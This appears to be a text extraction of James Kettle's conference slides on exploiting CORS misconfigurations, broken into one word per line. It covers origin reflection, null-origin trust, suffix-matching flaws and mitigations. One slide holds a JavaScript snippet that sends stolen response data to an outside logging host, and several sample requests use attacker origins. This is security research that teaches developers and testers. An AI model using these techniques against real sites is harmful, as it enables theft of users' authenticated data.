Exploiting Cors Misconfigurations: For Bitcoins and Bounties
Exploiting Cors Misconfigurations: For Bitcoins and Bounties
CORS
MISCONFIGURATIONS
For
Bitcoins
and
Bounties
James
Kettle
A
MORAL
STORY
• WeBuy0day
– Internal
team
of
security
experts
– Users
are
all
security
experts
– Easily
fenced
intellectual
property
– Trivial
CSRF
2009
– CSRF
2016
– CORS
OVERVIEW
• Consequences
– Exploits
with
credentials
– Exploitation
without
credentials
• Mitigations
• Q&A
CORE
CONCEPT
Origin: https://mail.google.com
Access-Control-Allow-Origin: https://mail.google.com
Access-Control-Allow-Credentials: true
ORIGIN
LISTS
Spec:
"Access-‐Control-‐Allow-‐Origin"
": "
origin-‐list-‐or-‐null
Reality:
developers.mozilla.org:
SOLUTION
• Dynamic
generation
–More
likely
to
be
vulnerable
L
–Less
likely
to
be
discovered*
L
Access-‐Control-‐Allow-‐Credentials:
true
ORIGIN
REFLECTION
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://labs-albinowax
Access-Control-Allow-Credentials: true
{"id":"zv691C...
ORIGIN
REFLECTION
function reqListener() {
location='//skeletonscribe.net/log?key='+this.responseText;
}
Origin: https://evil.net
< no CORS headers >
Origin: https://btc.net.evil.net
ACAO: https://btc.net.evil.net
ENDSWITH
HTTP/1.1 200 OK
Content-Security-Policy: frame-ancestors…
Strict-Transport-Security: max-age=3150000
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block;
ACAO: https://notadvisor.com
ACAC: true
null
origin
origin-‐list-‐or-‐null
What
is
null?
An
origin
Google
trusts
GET /reader?url=zxcvbn.pdf
Host: docs.google.com
Origin: null
HTTP/1.1 200 OK
ACAO: null
ACAC: true
null
origin
HTTP/1.1 200 OK
ACAO: null
ACAC: true
origin-‐list-‐or-‐null
What
is
null?
*,
but
less
obvious
*,
but
more
dangerous
exHTTPS
http://evil.google.com
GET /finance HTTP/1.1
CORS
payload Host: google.com
https://google.com/finance Origin: http://evil.google.com
Access-‐Control-‐Allow-‐Credentials:
false
TUNNELING
https://attacker.net
INTERNET
LAN
• Vary: Origin
“I
must
say,
it
doesn't
make
me
very
confident
that
soon
more
sites
will
be
supporting
CORS
if
not
even
the
W3C
manages
to
configure
its
server
right”
-‐ Reto Gmür
https://lists.w3.org/Archives/Public/public-‐webappsec/2016Jun/0057.html
CACHE
POISONING:
CLIENT-‐SIDE
Access-‐Control-‐Allow-‐Nothing
PENTESTER
LESSONS
• Wildcard+credentials exception
J Saved
developers.mozilla.org
• Suggestions
– Allow
partial
wildcards
– Apply
wildcard
exception
to
'null'
BROWSER
LESSONS
• Multiple
origins
– J Prevents
trusted
origin
injection:
Origin: https://evil.com safe.example.com
– L Forces
dynamic
generation
• Suggestions:
– Allow
multiple
origins
– Block
reverse
mixed
content
DEVELOPER
LESSONS
Slides:
https://portswigger.net/knowledgebase/papers/Ex
ploitingCORSMisconfigurations.pdf
Writeup:
http://blog.portswigger.net/2016/10/exploiting-‐
cors-‐misconfigurations-‐for.html
@albinowax
[email protected]